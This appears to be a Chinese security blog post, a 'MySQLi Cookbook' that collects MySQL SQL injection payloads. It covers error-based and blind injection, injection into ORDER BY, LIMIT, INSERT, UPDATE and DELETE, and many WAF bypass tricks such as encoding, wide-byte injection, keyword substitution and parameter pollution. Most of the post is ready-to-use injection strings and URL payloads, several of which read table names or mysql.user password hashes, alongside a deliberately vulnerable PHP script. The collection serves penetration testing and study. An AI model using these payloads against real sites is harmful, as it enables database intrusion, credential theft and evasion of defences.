Lucifaer's Blog.

MySQLi Cookbook

Word count: 4,833 / Reading time: 22 min
2018/08/13 Share

对于SQLi的一点总结,用于自查。

0x00 Appetizer(开胃菜)

1. 注释

1
2
3
4
5
6
7
8
#
--
-- -
--+
//
/**/
内联注释:/!**/
;%00(亲测很好用)

2. 科学计数法

1
select id,title,links from freebuf where id=0e1union SELECT user,authentication_string,1e1from mysql.`user`;

3. 空白字符

MySQL5的空白字符是:

1
%09 %0A %0B %0C %0D %A0 %20

4. 特殊符号

4.1 +

1
select id,title from freebuf where id=8e0union (SELECT+1,(SELECT table_name from information_schema.tables where table_schema=database() LIMIT 0,1));

4.2 -

1
select id,title from freebuf where id=8e0union (SELECT-1,(SELECT table_name from information_schema.tables where table_schema=database() LIMIT 0,1));

4.3 反引号

1
select id,title from freebuf where id=8e0union (SELECT 1,(SELECT `table_name` from information_schema.tables where table_schema=database() LIMIT 0,1));

4.4 ~

1
select id,title from freebuf where id=8e0union (SELECT~1,(SELECT `table_name` from information_schema.tables where table_schema=database() LIMIT 0,1));

4.5 !

1
select id,title from freebuf where id=8e0union (SELECT!1,(SELECT `table_name` from information_schema.tables where table_schema=database() LIMIT 0,1));

4.6 @

1
select id,title from freebuf where id=8e0union (SELECT@user,(SELECT `table_name` from information_schema.tables where table_schema=database() LIMIT 0,1));

4.7 .1

1
select/**/title/**/from/**/freebuf/**/where/**/id=.1union/*.1*/SELECT/**/`table_name`/**/from/**/information_schema.tables/**/where/**/table_schema=database() LIMIT 0,1;

4.8 ' "

1
select/**/id,title,links/**/from/**/freebuf/**/where/**/id=.1union/*.1*/SELECT'1',"2",/**/`table_name`/**/from/**/information_schema.tables/**/where/**/table_schema=database() LIMIT 0,1;

4.9 ()

1
select id,title,links from freebuf where id=.1union(SELECT(1),(2),(table_name) from information_schema.tables where table_schema=database() LIMIT 0,1);

4.10 {}

在说道这个之前,首先说一下数据库语法时用到的各类括号分别代表什么

  • <>:用于分隔字符串,字符串为语法元素的名称,SQL语言的非终止符
  • ::=:定义操作符。用在生成规则中,分隔规则定义的元素和规则定义。被定义的元素位于操作符的左边,规定定义位于操作符的右边。
  • []:方括号表示规则中的可选元素。方括号中的规则部分可以明确指定也可以省略。
  • {}:花括号聚集规则中的元素。在花括号中的规则部分必须明确指定。
  • |:替换操作符。 该竖线表明竖线之后的规则部分对于竖线之前的部分是可替换的。 如果竖线出现的位置不在花括号或方括号内,那么它指定对于该规则定义的元素的一个完整替换项。如果竖线出现的位置在花括号或方括号内,那么它指定花括号对或方括号对最里面内容的替换项。
  • ...:省略号表明在规则中省略号应用的元素可能被重复多次。如果省略号紧跟在闭花括号”}”之后,那么它应用于闭花括号和开花括号”{“之间的规则部分。如果省略号出现在其他任何元素的后面,那么它只应用于该元素。
  • !! --
1
select title from freebuf where id=.1union(select{s table_name}from{f information_schema.tables}where{w table_schema=database()});

5. SQLi能用的函数分类

5.1 字符串截取函数

1
2
3
4
5
6
7
mid(version(),1,1)
substr(version,1,1)
substring(version(),1,1)
lpad(version(),1,1)
rpad(version(),1,1)
left(version(),1)
reverse(right(reverse(version()),1))

5.2 字符串连接函数

1
2
concat(version(),'|','user()')  # 拼接字符串时只要有一个为null,则返回null
concat_ws('|',1,2,3) # 不会因为出现null而返回null,会返回其他正常的结果

5.3 字符串转换函数

1
2
3
char(49)
hex('a')
unhex(61)

5.4 报错注入常用函数

1. floor(rand()*2) + group by

1
select count(*),concat(0x7e,database(),0x7e,floor(rand(0)*2))name from information_schema.tables group by name;

原理:floor(rand(0)*2)被计算多次导致。

2. updatexml()

1
select 1,2,3 and updatexml(1,concat(0x7e,user(),0x7e),1);

原理:updatexml()第二个参数应为xml语句。

限制:最多32字符

3. extractvalue()

1
select 1,2,3 and extractvalue(1,concat(0x7e,user(),0x7e));

原理:extractvalue()第二个参数应为xml语句。

限制:最多32字符

经过测试,在mysql 5.7的版本下,exp()geometrycollection()multipoint()polygon()multipolygon()linestring()multilinestring()无法使用。

mysql 5.5版本下是可以使用上面几个函数进行报错注入的。

原理:BIGINT整型溢出

5.5 时间盲注常用函数

1. benchmark()

1
select * from freebuf where id=1 and (if(LEFT(VERSION(),1)=5, BENCHMARK(5000000,SHA1('1')),1));

原理:以上面的sql语句为例,BENCHMARK()将执行SHA1('1')这个工作5000000次,并统计其所花费的时间。

2. sleep()

1
select * from freebuf where id=1 and if(substr((select table_name from information_schema.tables where table_schema=database()),1,1)='A',1,sleep(10));

5.6 布尔盲注常用函数

字符串截取函数+ascii()配合limit完成布尔盲注。

0x02 Soup(调味汤)

这里总结了一下绕过基础过滤的方式。这边不说复写和大小写绕过了,因为大家都知道。

这边我写个基础的测试脚本,接下来的测试都是基于这个脚本而添加的相应的规则:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
$db = mysqli_connect('localhost', 'root', 'root');
mysqli_select_db($db, 'SecSpider');
$uid = strtolower($_GET['uid']);
$id = waf($uid);
$query = "select id, title, tag from `freebuf` where id=".$id.";";
echo "sql: ".$query."<br>";
$result = mysqli_query($db, $query);
$row = mysqli_fetch_array($result);
var_dump($row);

function waf($id)
{
$id = str_replace(' ', '',$id);
return $id;
}

2.1 过滤空格

可以用下面几种方式绕过:

1
2
3
4
5
6
7
8
/**/                            可代替空格
/!*select all*/ 可代替空格,且能执行中间的sql语句
() 可代替空格
%09 %0A %0B %0C %0D %A0 %20 可代替空格
select~1或select+1或select-1
select`table_name`from 可以不使用空格
+ 可代替空格
{} 在遇到select from时可以利用括号包裹绕过针对查询字段的空格过滤

给个实例:

1
http://127.0.0.1:9999/php.php?uid=.1union(select~1,+1,(select`table_name`from/*!12345information_schema.tables%0awhere/**/table_schema=database()*/%0dlimit%0d%0a0,1))

关于括号绕过的示例:

1
http://127.0.0.1:9999/php.php?uid=.1union(select-1,+1,{x+table_name}from{x(information_schema.tables)}where{x(table_schema=database())})

2.2 过滤了逗号(默认加上了过滤空格)

在使用union的时候是比较害怕逗号被过滤的,可以用join()绕:

1
http://127.0.0.1:9999/php.php?uid=.1union(select+*from((select+1)a%0ajoin(select+2)b%0ajoin(select`table_name`from/**/information_schema.tables/**/where%0dtable_schema=database())c))

注意这么几个细节:

  • 不能这么使用/!*join*/
  • limit 0,1中的逗号可以使用limit 1 offset 0这样的格式来代替
1
http://127.0.0.1:9999/php.php?uid=.1union(select+*from((select+1)a%0ajoin(select+2)b%0ajoin(select`column_name`from/**/information_schema.columns/**/where%0dtable_name=%27freebuf%27/**/limit/**/1/**/offset/**/3)c))

2.3 编码绕过

说了上面两个较为常规的姿势,下面总结一下使用编码绕过的方式:

2.3.1 URL编码

一般不会成功…,这个时候不妨试一试两次编码绕过。

1
2
3
4
5
空格 => %20
单引号 => %27
左括号 => %28
右括号 => %29
百分号 => %25

2.3.2 十六进制编码

1
2
page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…     # 对单个字符编码
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) #对字符串编码

2.3.3 Unicode编码

1
2
3
4
单引号:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

关于应用的话个人认为有两种:

  • 宽字节注入

    关于宽字节注入,简单来说就是当单引号(')被转义为\'时可以利用%df%27进行绕过。宽字节注入产生的原因是因为GBK编码为多字节编码,会认为两个字节代表一个汉字,举个例子,比如我传入的字段是%df%27,正常解码后为:

    1
    �'
而有趣的是在代码层(GBK编码)对`%df%27`的解析实际为`%df%5c%27`:

1
運'
从而吃掉了`\`绕过了对`'`的转义
  • MySQL字符编码绕过

    MySQL的字符串编码主要是由于MySQL字段的字符集和PHP mysqli客户端设置的字符集不同而导致的。

    MySQL字段的默认字符集为latin1,在设置客户端字符集为utf8后,服务端的相关字符集仍为latin1,所以PHP将数据存入数据库实际上完成了如下的字符编码转换:

    1
    utf8 --> utf8 --> latin1
也就是会出现如下的情况:

1
SELECT 'Ä'='A'; # 结果为1
详情请看[P牛的研究][1]

0x03 Main Course(主菜)

知道了上面的基础绕过姿势,下面进入正餐,测试脚本和0x02相同,只是往上添加规则罢了。

测试MySQL版本为5.7.23

3.1 各种关键字的绕过

3.1.1 绕and,or,union,where,limit,group by,hex,substr

绕and和or

1
2
and => &&
or => ||

绕union
union => 1 ||

1
select id,title from freebuf where id=1 || (select substr((select table_name from information_schema.tables where table_schema=database()),1,1))='f' limit 0,1;

绕where
where => case when then else end

1
select id,title from freebuf where id=1 || (select substr((select (case table_schema WHEN 'SecSpider' then table_name else 'zzzzzzzzzz' END) as c  from information_schema.tables group by c limit 1),1,1))='f' limit 0,1;

绕limit
limit => group by c having c=0

1
2
select id,title from freebuf where id=1 || (select((select substr((select (case table_schema when 'SecSpider' then table_name else '1' end) as c  from information_schema.tables group by c having c=0
),1,1))='f') as d group by d having d=1);

如果表名第一个字符为f,则返回正常数据,如果不为f则返回空。

绕group by
group by => group_concat()

1
select id,title from freebuf where id=1 || (select substr((select replace(group_concat(distinct(case table_schema when 'SecSpider' then table_name else '' end)), ",", "") from information_schema.tables),1,1)='f');

同上,如果表名第一个字符为f,则返回正常数据,如果不为f则返回为空。

绕select
其实是用了种取巧的方式即:
select => into outfile
但实际上是用处不大的,这边就不做演示了

绕hex
hex => lower(conv([10-36],10,36))

绕substr或substring()
substr => mid() 或 strcmp(left())

1
2
3
4
5
mid()
select (select mid(table_name,1,1) from information_schema.tables where table_schema=database() limit 1)=lower(conv(14,10,36));

strcmp(left())
select strcmp(left(table_name,1),'f') from information_schema.tables where table_schema=database() limit 1;

3.1.2 绕过严格的字符或数字限制

具体的来说,当waf做了严格的字符限制后,可能某些字符我们是无法使用的,这个时候可以用下面这张表来绕过:

小写字符的释放可以使用lower(conv([10-36],10,36))

3.1.3 绕过information.schema

在MySQL5.6及以上的版本,可以用mysql.innodb_table_statsmysql.innodb._index_stats来代替。

1
2
3
select title from freebuf where id=1 union select table_name from mysql.innodb_table_stats where database_name=database() limit 0,1;

select title from freebuf where id=1 union select table_name from mysql.innodb_index_stats where database_name=database() limit 0,1;

3.2 非常规注入方式

3.2.1 order by注入

为什么要把order by拉出来单独说呢,因为order by后面不能使用union

主要是用盲注,有两种姿势,下面用布尔盲注来演示。

  1. 使用if来进行盲注:

    1
    select title from freebuf order by if((substr(user(),1,1)='a'),1,(select 1 from information_schema.tables));
这边要注意一下,在报错回显时一定要选择会产生错误的回显,而不要选择`0x00`,在`5.7.23`版本下`0x00`也会返回所有数据及正常情况。

![](http://image-lucifaer.test.upcdn.net/2018/11/29/15338845878083.jpg)
  1. 使用case when then else end来进行盲注:

    1
    select title from freebuf order by (select case when(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='f') then 1 else 1*(select 1 from information_schema.tables)end)=1 limit 0,1;
![](http://image-lucifaer.test.upcdn.net/2018/11/29/15338850719592.jpg)
  1. 使用procedure进行报错注入或盲注:

    limit后的procedure在5.7.18下已经默认关闭了,在8.0版本下已经被移除。

    报错注入:

    1
    SELECT 1 from mysql.user order by 1 limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
时间盲注:

1
SELECT 1 from mysql.user order by 1 limit 0,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(50000000,SHA1(1)),1))))),1);
  1. 使用rand()进行盲注

    这个不细说了,和普通的盲注一样。

3.2.2 limit注入

重要的话再说一遍:

limit后的procedure在5.7.18下已经默认关闭了,在8.0版本下已经被移除。

报错注入:

1
SELECT 1 from mysql.user order by 1 limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

时间盲注:

1
SELECT 1 from mysql.user order by 1 limit 0,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(50000000,SHA1(1)),1))))),1);

3.2.3 insert、update、delete注入

这边就拿报错注入来说了,其实改一改就是盲注。

  • insert

    insert注入的位置在value处,可以配合常规的报错语句来完成报错注入,下面举个例子。

    1
    insert into freebuf (id, title, links, tag, article_id, catch_date, publish_date, come_from) values (2,'1' +  updatexml(0,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)),0) or '','www.baidu.com','test1','2','1','1','baidu');
![](http://image-lucifaer.test.upcdn.net/2018/11/29/15341459544177.jpg)

这边要注意一下在`value`中的报错语句要使用的逻辑,为了使我们的报错语句一定执行,一定要构造逻辑使得报错函数可以执行。
  • update

    update注入位置在set后。

    1
    update freebuf set id=3 and updatexml(0,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),0) and title='123' and links='123' and tag='1' and article_id='123' and catch_date='1' and publish_date='3' and come_from='1' where id=2;
![](http://image-lucifaer.test.upcdn.net/2018/11/29/15341466190936.jpg)
  • delete

    delete注入的位置在where后。

    1
    DELETE from freebuf where id=2 or updatexml(0,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),0) or '';
![](http://image-lucifaer.test.upcdn.net/2018/11/29/15341468358998.jpg)

3.3 畸形请求

php+Apache 特性:

waf通常会对请求进行严格的协议判断,比如GET、POST等,但是apache解析协议时却没有那么严格,所以在发包的时候修改为一个畸形的请求也可能绕过waf。

3.4 HPP——通用特性

HPP是指HTTP参数污染-HTTP Parameter Pollution。当查询字符串多次出现同一个key时,根据容器不同会得到不同的结果。 假设提交的参数即为:

1
id=1&id=2&id=3
  • Asp.net + iis:id=1,2,3
  • Asp + iis:id=1,2,3
  • Php + apache:id=3

3.5 Trick

3.5.1 利用name_const()获取MySQL版本信息

在5.7.23版本中并不能使用name_const()来获取更多的信息,但是仍可以用它来获取数据库版本信息:

1
DELETE FROM freebuf WHERE id=2 or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a)or '';

3.5.2 limit下的字段数的判断

where条件下的字段数可以用order by判断,而limit后可以利用1, into @,@(@为字段数)判断字段数。@为mysql临时变量,

这里要记住要赋予用户变量变量名,不然会出现User variable name '' is illegal错误。

3.5.3 MySQL注入可报错时绕过information_schema等关键字的过滤(报错)

首先,如果MySQL注入是报错注入,且waf拦截了information_schema、columns、tables、database、schema等关键字或函数时,我们还可以这样玩:

1
select i.4 from (select * from (select 1)a, (select 2)b, (select 3)c, (select 4)d, (select 5)e, (select 6)f, (select 7)g, (select 8)h union select * from freebuf)i;

这里是因为我freebuf表有8个字段,因为利用了union select所以要构造8个字段。

那如果过滤了union呢?

  1. polgon()爆表名和库名

    1
    select * from freebuf where id=1 and polygon(id);
![](http://image-lucifaer.test.upcdn.net/2018/11/29/15341497758796.jpg)

原理:`Polygon`从多个`LineString`或`WKB LineString`参数构造一个值 。如果任何参数不表示`LinearRing`(也就是说,不是一个封闭和简单的`LineString`),返回值就是NULL。
如果传参不是linestring的话,就会爆错,而当如果我们传入的是存在的字段的话,就会爆出已知库、表、列。
  1. join重复查询爆字段

    爆第一个字段

    1
    select * from freebuf where id=1 and (select * from (select * from freebuf as a join freebuf as b)as c);
![](http://image-lucifaer.test.upcdn.net/2018/11/29/15341500322650.jpg)


爆后面的字段

1
select * from freebuf where id=1 and (select * from (select * from freebuf as a join freebuf as b using(id))as c);
![](media/15335491010936/15341500679125.jpg)

3.5.4 八字节注入

这种注入的原理是在MySQL中字符串实际上作为八字节的DOUBLE类型来处理。

具体的举一个例子:

如果需要获取的数据大于八字节,可以使用substr()来将数据分成分片:

1
select conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10);

也就说user()最多有16个字符,那么现在解码就能看到我们需要获得的数据:

3.5.5 局部变量的使用

为什么要使用局部变量呢?其实使用局部变量就是为了更改SQL语句的逻辑,比如针对于语义的waf过滤了union select from,那么就可以使用局部变量将语义更改为select from union,从而绕过逻辑判断。

举个例子:

过滤了如下的逻辑:

1
select title from freebuf where id=-1 union select table_name from information_schema.tables where table_schema=database() limit 0,1;

可以看到这里的逻辑为:

1
union select from

利用局部变量可以更改这样的逻辑:

1
select title from freebuf where id=1|@payload:=(select table_name from information_schema.tables where table_schema=database() limit 0,1) union select @payload;

这样的逻辑为:

1
select from union

而且结果相同:

3.5.6 emoji

这一点不多说,因为我自己没搞清楚,推荐从容师傅的文章

0x04 Desserts(甜点)

这里不说具体案例,只说一说思路。

4.1 其他的绕过思路

MySQL是满足图灵完备的,也就是说只要能找到具备循环和判断的,且未被过滤的函数,理论上是可以完成所有正常功能的。并且在不限制字段的情况下,是可以利用可用函数进行编程来完成你想要的自定义查询的。

4.2 逻辑很重要

测waf得时候可以首先想一下waf的判别逻辑,最常见的测试为以下三种逻辑的测试:

  • union+select
  • select+from
  • union+from

利用前文的局部变量来更改逻辑,说不定会有更好的效果。在了解了过滤逻辑的情况下,绕过剩下的过滤就好说多了。

4.3 见招拆招

%23%0a被过滤了,那么%2d%2d%0a是否会被过滤呢?

过滤了union、from,那么1e1union是否被过滤了?.1from是否被过滤了呢?

下面说一个分析场景:

1
2
3
union+select拦截
select+from拦截
union+from不拦截

可以看到关键点在于select

那么现在想一想下面的问题:

  • union+select过滤了,那么union/*!50000%0aselect%0aall*/呢?
  • 如果select被识别了,那么select allselect distinctselect distinctrow呢?
  • 如果union/*!50000%0aselect%0aall*/被过滤了,那fuzz一下50000这个五位数呢?

你看可以从这一点看到这么多,再结合前文说的各种方法,不愁没办法。细心是最重要的。

4.4 非惯性思维

  • waf在检测时,对不同的访问方式利用不同的规则进行检测,而这就有可能钻空子。
  • 对waf进行长度检测,过长的字符串可能导致waf跳过识别,也有可能直接导致服务器宕机。

0x05 Coffee Or Tea

总结了这么多,也算是把各家的姿势还有自己的一点认识写完了(其实大部分还是学习各位师傅的姿势)。为了总结这一份cookbook,也算是花了快一周多的时间,主要参考了以下的文章:

本文长期更新,有新的姿势就会添加进来。

CATALOG
  1. 1. 0x00 Appetizer(开胃菜)
    1. 1.1. 1. 注释
    2. 1.2. 2. 科学计数法
    3. 1.3. 3. 空白字符
    4. 1.4. 4. 特殊符号
      1. 1.4.1. 4.1 +
      2. 1.4.2. 4.2 -
      3. 1.4.3. 4.3 反引号
      4. 1.4.4. 4.4 ~
      5. 1.4.5. 4.5 !
      6. 1.4.6. 4.6 @
      7. 1.4.7. 4.7 .1
      8. 1.4.8. 4.8 ' "
      9. 1.4.9. 4.9 ()
      10. 1.4.10. 4.10 {}
    5. 1.5. 5. SQLi能用的函数分类
      1. 1.5.1. 5.1 字符串截取函数
      2. 1.5.2. 5.2 字符串连接函数
      3. 1.5.3. 5.3 字符串转换函数
      4. 1.5.4. 5.4 报错注入常用函数
        1. 1.5.4.1. 1. floor(rand()*2) + group by
        2. 1.5.4.2. 2. updatexml()
        3. 1.5.4.3. 3. extractvalue()
      5. 1.5.5. 5.5 时间盲注常用函数
        1. 1.5.5.1. 1. benchmark()
        2. 1.5.5.2. 2. sleep()
      6. 1.5.6. 5.6 布尔盲注常用函数
  2. 2. 0x02 Soup(调味汤)
    1. 2.1. 2.1 过滤空格
    2. 2.2. 2.2 过滤了逗号(默认加上了过滤空格)
    3. 2.3. 2.3 编码绕过
      1. 2.3.1. 2.3.1 URL编码
      2. 2.3.2. 2.3.2 十六进制编码
      3. 2.3.3. 2.3.3 Unicode编码
  3. 3. 0x03 Main Course(主菜)
    1. 3.1. 3.1 各种关键字的绕过
      1. 3.1.1. 3.1.1 绕and,or,union,where,limit,group by,hex,substr
      2. 3.1.2. 3.1.2 绕过严格的字符或数字限制
      3. 3.1.3. 3.1.3 绕过information.schema
    2. 3.2. 3.2 非常规注入方式
      1. 3.2.1. 3.2.1 order by注入
      2. 3.2.2. 3.2.2 limit注入
      3. 3.2.3. 3.2.3 insert、update、delete注入
    3. 3.3. 3.3 畸形请求
    4. 3.4. 3.4 HPP——通用特性
    5. 3.5. 3.5 Trick
      1. 3.5.1. 3.5.1 利用name_const()获取MySQL版本信息
      2. 3.5.2. 3.5.2 limit下的字段数的判断
      3. 3.5.3. 3.5.3 MySQL注入可报错时绕过information_schema等关键字的过滤(报错)
      4. 3.5.4. 3.5.4 八字节注入
      5. 3.5.5. 3.5.5 局部变量的使用
      6. 3.5.6. 3.5.6 emoji
  4. 4. 0x04 Desserts(甜点)
    1. 4.1. 4.1 其他的绕过思路
    2. 4.2. 4.2 逻辑很重要
    3. 4.3. 4.3 见招拆招
    4. 4.4. 4.4 非惯性思维
  5. 5. 0x05 Coffee Or Tea